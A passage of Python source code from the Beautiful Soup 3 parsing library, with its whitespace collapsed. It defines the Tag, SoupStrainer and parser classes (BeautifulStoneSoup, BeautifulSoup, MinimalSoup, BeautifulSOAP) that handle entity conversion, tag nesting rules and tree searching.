__str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!%s>" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" try: x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&%s;' % x except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000) pass return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs is None: attrs = [] elif isinstance(attrs, dict): attrs = attrs.items() self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. # Reference: https://github.com/pkrumins/xgoogle/pull/16/commits/3dba1165c436b0d6e5bdbd09e53ca0dbf8a043f8 convert = lambda k_val: (k_val[0], re.sub(r"&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, k_val[1])) self.attrs = map(convert, self.attrs) def getString(self): if (len(self.contents) == 1 and isinstance(self.contents[0], NavigableString)): return self.contents[0] def setString(self, string): """Replace the contents of the tag with a string""" self.clear() self.append(string) string = property(getString, setString) def getText(self, separator=u""): if not len(self.contents): return u"" stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] while current and current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next return separator.join(strings) text = property(getText) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def clear(self): """Extract all children.""" for child in self.contents[:]: child.extract() def index(self, element): for i, child in enumerate(self.contents): if child is element: return i raise ValueError("Tag.index: element not in tag") def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in xrange(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return self.findAll(*args, **kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError("'%s' object has no attribute '%s'" % (self.__class__, tag)) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if other is self: return True if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in xrange(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isinstance(val, basestring): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '</%s>' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" self.extract() if len(self.contents) == 0: return current = self.contents[0] while current is not None: next = current.next if isinstance(current, Tag): del current.contents[:] current.parent = None current.previous = None current.previousSibling = None current.next = None current.nextSibling = None current = next def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): # Just use the iterator from the contents return iter(self.contents) def recursiveChildGenerator(self): if not len(self.contents): return # Note: https://stackoverflow.com/a/30217723 (PEP 479) stopNode = self._lastRecursiveChild().next current = self.contents[0] while current and current is not stopNode: yield current current = current.next # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, **kwargs): self.name = name if isinstance(attrs, basestring): kwargs['class'] = _match_css_class(attrs) attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if hasattr(markup, "__iter__") \ and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isinstance(markup, basestring): if self._matches(markup, self.text): found = markup else: raise Exception("I don't know how to match against a %s" \ % markup.__class__) return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst is True: result = markup is not None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): markup = text_type(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif hasattr(matchAgainst, '__iter__'): # list-like result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): if isinstance(markup, text_type): matchAgainst = text_type(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif hasattr(portion, '__iter__'): # is a list #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, sgmllib.SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "<foo><bar></foo>" actually means "<foo><bar></bar></foo>". [Another possible explanation is "<foo><bar /></foo>", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] MARKUP_MASSAGE = [(re.compile(r'(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), (re.compile(r'<!\s+([^<>]*)>'), lambda x: '<!' + x.group(1) + '>') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None, isHTML=False): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib: <br/> (No space between name of closing tag and tag close) <! --Comment--> (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) sgmllib.SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed(isHTML=isHTML) except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup if isinstance(markup, text_type): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo, isHTML=isHTML) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding self.declaredHTMLEncoding = dammit.declaredHTMLEncoding if markup: if self.markupMassage: if not hasattr(self.markupMassage, "__iter__"): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() sgmllib.SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): return sgmllib.SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return name in self.SELF_CLOSING_TAGS \ or name in self.instanceSelfClosingTags def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): #print "Push", tag.name if self.currentTag: self.currentTag.contents.append(tag) self.tagStack.append(tag) self.currentTag = self.tagStack[-1] def endData(self, containerClass=NavigableString): if self.currentData: currentData = u''.join(self.currentData) if (currentData.translate(self.STRIP_ASCII_SPACES) == '' and not set([tag.name for tag in self.tagStack]).intersection( self.PRESERVE_WHITESPACE_TAGS)): if '\n' in currentData: currentData = '\n' else: currentData = ' ' self.currentData = [] if self.parseOnlyThese and len(self.tagStack) <= 1 and \ (not self.parseOnlyThese.text or \ not self.parseOnlyThese.search(currentData)): return o = containerClass(currentData) o.setup(self.currentTag, self.previous) if self.previous: self.previous.next = o self.previous = o self.currentTag.contents.append(o) def _popToTag(self, name, inclusivePop=True): """Pops the tag stack up to and including the most recent instance of the given tag. If inclusivePop is false, pops the tag stack up to but *not* including the most recent instqance of the given tag.""" #print "Popping to %s" % name if name == self.ROOT_TAG_NAME: return numPops = 0 mostRecentTag = None for i in xrange(len(self.tagStack)-1, 0, -1): if name == self.tagStack[i].name: numPops = len(self.tagStack)-i break if not inclusivePop: numPops = numPops - 1 for i in xrange(0, numPops): mostRecentTag = self.popTag() return mostRecentTag def _smartPop(self, name): """We need to pop up to the previous tag of this type, unless one of this tag's nesting reset triggers comes between this tag and the previous tag of this type, OR unless this tag is a generic nesting trigger and another generic nesting trigger comes between this tag and the previous tag of this type. Examples: <p>Foo<b>Bar *<p>* should pop to 'p', not 'b'. <p>Foo<table>Bar *<p>* should pop to 'table', not 'p'. <p>Foo<table><tr>Bar *<p>* should pop to 'tr', not 'p'. <li><ul><li> *<li>* should pop to 'ul', not the first 'li'. <tr><table><tr> *<tr>* should pop to 'table', not the first 'tr' <td><tr><td> *<td>* should pop to 'tr', not the first 'td' """ nestingResetTriggers = self.NESTABLE_TAGS.get(name) isNestable = nestingResetTriggers != None isResetNesting = name in self.RESET_NESTING_TAGS popTo = None inclusive = True for i in xrange(len(self.tagStack)-1, 0, -1): p = self.tagStack[i] if (not p or p.name == name) and not isNestable: #Non-nestable tags get popped to the top or to their #last occurance. popTo = name break if (nestingResetTriggers is not None and p.name in nestingResetTriggers) \ or (nestingResetTriggers is None and isResetNesting and p.name in self.RESET_NESTING_TAGS): #If we encounter one of the nesting reset triggers #peculiar to this tag, or we encounter another tag #that causes nesting to reset, pop up to but not #including that tag. popTo = p.name inclusive = False break p = p.parent if popTo: self._popToTag(popTo, inclusive) def unknown_starttag(self, name, attrs, selfClosing=0): #print "Start tag %s: %s" % (name, attrs) if self.quoteStack: #This is not a real tag. #print "<%s> is not real!" % name attrs = ''.join([' %s="%s"' % (x, y) for x, y in attrs]) self.handle_data('<%s%s>' % (name, attrs)) return self.endData() if not self.isSelfClosingTag(name) and not selfClosing: self._smartPop(name) if self.parseOnlyThese and len(self.tagStack) <= 1 \ and (self.parseOnlyThese.text or not self.parseOnlyThese.searchTag(name, attrs)): return tag = Tag(self, name, attrs, self.currentTag, self.previous) if self.previous: self.previous.next = tag self.previous = tag self.pushTag(tag) if selfClosing or self.isSelfClosingTag(name): self.popTag() if name in self.QUOTE_TAGS: #print "Beginning quote (%s)" % name self.quoteStack.append(name) self.literal = 1 return tag def unknown_endtag(self, name): #print "End tag %s" % name if self.quoteStack and self.quoteStack[-1] != name: #This is not a real end tag. #print "</%s> is not real!" % name self.handle_data('</%s>' % name) return self.endData() self._popToTag(name) if self.quoteStack and self.quoteStack[-1] == name: self.quoteStack.pop() self.literal = (len(self.quoteStack) > 0) def handle_data(self, data): self.currentData.append(data) def _toStringSubclass(self, text, subclass): """Adds a certain piece of text to the tree as a NavigableString subclass.""" self.endData() self.handle_data(text) self.endData(subclass) def handle_pi(self, text): """Handle a processing instruction as a ProcessingInstruction object, possibly one with a %SOUP-ENCODING% slot into which an encoding will be plugged later.""" if text[:3] == "xml": text = u"xml version='1.0' encoding='%SOUP-ENCODING%'" self._toStringSubclass(text, ProcessingInstruction) def handle_comment(self, text): "Handle comments as Comment objects." self._toStringSubclass(text, Comment) def handle_charref(self, ref): "Handle character references as data." if self.convertEntities: data = unichr(int(ref)) else: data = '&#%s;' % ref self.handle_data(data) def handle_entityref(self, ref): """Handle entity references as data, possibly converting known HTML and/or XML entity references to the corresponding Unicode characters.""" data = None if self.convertHTMLEntities: try: data = unichr(name2codepoint[ref]) except KeyError: pass if not data and self.convertXMLEntities: data = self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref) if not data and self.convertHTMLEntities and \ not self.XML_ENTITIES_TO_SPECIAL_CHARS.get(ref): # TODO: We've got a problem here. We're told this is # an entity reference, but it's not an XML entity # reference or an HTML entity reference. Nonetheless, # the logical thing to do is to pass it through as an # unrecognized entity reference. # # Except: when the input is "&carol;" this function # will be called with input "carol". When the input is # "AT&T", this function will be called with input # "T". We have no way of knowing whether a semicolon # was present originally, so we don't know whether # this is an unknown entity or just a misplaced # ampersand. # # The more common case is a misplaced ampersand, so I # escape the ampersand and omit the trailing semicolon. data = "&%s" % ref if not data: # This case is different from the one above, because we # haven't already gone through a supposedly comprehensive # mapping of entities to Unicode characters. We might not # have gone through any mapping at all. So the chances are # very high that this is a real entity, and not a # misplaced ampersand. data = "&%s;" % ref self.handle_data(data) def handle_decl(self, data): "Handle DOCTYPEs and the like as Declaration objects." self._toStringSubclass(data, Declaration) def parse_declaration(self, i): """Treat a bogus SGML declaration as raw data. Treat a CDATA declaration as a CData object.""" j = None if self.rawdata[i:i+9] == '<![CDATA[': k = self.rawdata.find(']]>', i) if k == -1: k = len(self.rawdata) data = self.rawdata[i+9:k] j = k+3 self._toStringSubclass(data, CData) else: try: j = sgmllib.SGMLParser.parse_declaration(self, i) except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) return j class BeautifulSoup(BeautifulStoneSoup): """This parser knows the following facts about HTML: * Some tags have no closing tag and should be interpreted as being closed as soon as they are encountered. * The text inside some tags (ie. 'script') may contain tags which are not really part of the document and which should be parsed as text, not tags. If you want to parse the text as tags, you can always fetch it and parse it explicitly. * Tag nesting rules: Most tags can't be nested at all. For instance, the occurance of a <p> tag should implicitly close the previous <p> tag. <p>Para1<p>Para2 should be transformed into: <p>Para1</p><p>Para2 Some tags can be nested arbitrarily. For instance, the occurance of a <blockquote> tag should _not_ implicitly close the previous <blockquote> tag. Alice said: <blockquote>Bob said: <blockquote>Blah should NOT be transformed into: Alice said: <blockquote>Bob said: </blockquote><blockquote>Blah Some tags can be nested, but the nesting is reset by the interposition of other tags. For instance, a <tr> tag should implicitly close the previous <tr> tag within the same <table>, but not close a <tr> tag in another table. <table><tr>Blah<tr>Blah should be transformed into: <table><tr>Blah</tr><tr>Blah but, <tr>Blah<table><tr>Blah should NOT be transformed into <tr>Blah<table></tr><tr>Blah Differing assumptions about tag nesting rules are a major source of problems with the BeautifulSoup class. If BeautifulSoup is not treating as nestable a tag your page author treats as nestable, try ICantBelieveItsBeautifulSoup, MinimalSoup, or BeautifulStoneSoup before writing your own subclass.""" def __init__(self, *args, **kwargs): if 'smartQuotesTo' not in kwargs: kwargs['smartQuotesTo'] = self.HTML_ENTITIES kwargs['isHTML'] = True BeautifulStoneSoup.__init__(self, *args, **kwargs) SELF_CLOSING_TAGS = buildTagMap(None, ('br' , 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base', 'col')) PRESERVE_WHITESPACE_TAGS = set(['pre', 'textarea']) QUOTE_TAGS = {'script' : None, 'textarea' : None} #According to the HTML standard, each of these inline tags can #contain another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_INLINE_TAGS = ('span', 'font', 'q', 'object', 'bdo', 'sub', 'sup', 'center') #According to the HTML standard, these block tags can contain #another tag of the same type. Furthermore, it's common #to actually use these tags this way. NESTABLE_BLOCK_TAGS = ('blockquote', 'div', 'fieldset', 'ins', 'del') #Lists can contain other lists, but there are restrictions. NESTABLE_LIST_TAGS = { 'ol' : [], 'ul' : [], 'li' : ['ul', 'ol'], 'dl' : [], 'dd' : ['dl'], 'dt' : ['dl'] } #Tables can contain other tables, but there are restrictions. NESTABLE_TABLE_TAGS = {'table' : [], 'tr' : ['table', 'tbody', 'tfoot', 'thead'], 'td' : ['tr'], 'th' : ['tr'], 'thead' : ['table'], 'tbody' : ['table'], 'tfoot' : ['table'], } NON_NESTABLE_BLOCK_TAGS = ('address', 'form', 'p', 'pre') #If one of these tags is encountered, all tags up to the next tag of #this type are popped. RESET_NESTING_TAGS = buildTagMap(None, NESTABLE_BLOCK_TAGS, 'noscript', NON_NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) NESTABLE_TAGS = buildTagMap([], NESTABLE_INLINE_TAGS, NESTABLE_BLOCK_TAGS, NESTABLE_LIST_TAGS, NESTABLE_TABLE_TAGS) # Used to detect the charset in a META tag; see start_meta CHARSET_RE = re.compile(r"((^|;)\s*charset=)([^;]*)", re.M) def start_meta(self, attrs): """Beautiful Soup can detect a charset included in a META tag, try to convert the document to that charset, and re-parse the document from the beginning.""" httpEquiv = None contentType = None contentTypeIndex = None tagNeedsEncodingSubstitution = False for i in xrange(0, len(attrs)): key, value = attrs[i] key = key.lower() if key == 'http-equiv': httpEquiv = value elif key == 'content': contentType = value contentTypeIndex = i if httpEquiv and contentType: # It's an interesting meta tag. match = self.CHARSET_RE.search(contentType) if match: if (self.declaredHTMLEncoding is not None or self.originalEncoding == self.fromEncoding): # An HTML encoding was sniffed while converting # the document to Unicode, or an HTML encoding was # sniffed during a previous pass through the # document, or an encoding was specified # explicitly and it worked. Rewrite the meta tag. def rewrite(match): return match.group(1) + "%SOUP-ENCODING%" newAttr = self.CHARSET_RE.sub(rewrite, contentType) attrs[contentTypeIndex] = (attrs[contentTypeIndex][0], newAttr) tagNeedsEncodingSubstitution = True else: # This is our first pass through the document. # Go through it again with the encoding information. newCharset = match.group(3) if newCharset and newCharset != self.originalEncoding: self.declaredHTMLEncoding = newCharset self._feed(self.declaredHTMLEncoding) raise StopParsing pass tag = self.unknown_starttag("meta", attrs) if tag and tagNeedsEncodingSubstitution: tag.containsSubstitutions = True class StopParsing(Exception): pass class ICantBelieveItsBeautifulSoup(BeautifulSoup): """The BeautifulSoup class is oriented towards skipping over common HTML errors like unclosed tags. However, sometimes it makes errors of its own. For instance, consider this fragment: <b>Foo<b>Bar</b></b> This is perfectly valid (if bizarre) HTML. However, the BeautifulSoup class will implicitly close the first b tag when it encounters the second 'b'. It will think the author wrote "<b>Foo<b>Bar", and didn't close the first 'b' tag, because there's no real-world reason to bold something that's already bold. When it encounters '</b></b>' it will close two more 'b' tags, for a grand total of three tags closed instead of two. This can throw off the rest of your document structure. The same is true of a number of other tags, listed below. It's much more common for someone to forget to close a 'b' tag than to actually use nested 'b' tags, and the BeautifulSoup class handles the common case. This class handles the not-co-common case: where you can't believe someone wrote what they did, but it's valid HTML and BeautifulSoup screwed up by assuming it wouldn't be.""" I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \ ('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong', 'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b', 'big') I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',) NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS, I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS) class MinimalSoup(BeautifulSoup): """The MinimalSoup class is for parsing HTML that contains pathologically bad markup. It makes no assumptions about tag nesting, but it does know which tags are self-closing, that <script> tags contain Javascript and should not be parsed, that META tags may contain encoding information, and so on. This also makes it better for subclassing than BeautifulStoneSoup or BeautifulSoup.""" RESET_NESTING_TAGS = buildTagMap('noscript') NESTABLE_TAGS = {} class BeautifulSOAP(BeautifulStoneSoup): """This class will push a tag with only a single string child into the tag's parent as an attribute. The attribute's name is the tag name, and the value is the string child. An example should give the flavor of the change: <foo><bar>baz</bar></foo> => <foo bar="baz"><bar>baz</bar></foo> You can then access fooTag['bar'] instead of fooTag.barTag.string. This is, of course, useful for scraping structures that tend to use subelements instead of attributes, such as SOAP messages. Note that it modifies its input, so don't print the modified version out. I'm not sure how many people really want to use this class; let me know if you do. Mainly I like the name.""" def popTag(self): if len(self.tagStack) > 1: tag = self.tagStack[-1] parent = self.tagStack[-2] parent._getAttrMap() if (isinstance(tag, Tag) and len(tag.contents) == 1 and isinstance(tag.contents[0], NavigableString) and not parent.attrMap.has_key(tag.name)): parent[tag.name] = tag.contents[0] BeautifulStoneSoup.popTag(self) #Enterprise class names! It has come to our attention that some people #think the names of the Beautiful Soup parser classes are too silly #and "unprofessional" for use in enterprise screen-scraping. We feel #your pain! For such-minded folk, the Beautiful Soup Consortium And #All-Night Kosher Bakery recommends renaming this file to #"RobustParser.py" (or, in cases of extreme enterprisiness, #"RobustParserBeanInterface.class") and using the following #enterprise-friendly class aliases: class RobustXMLParser(BeautifulStoneSoup): pass class 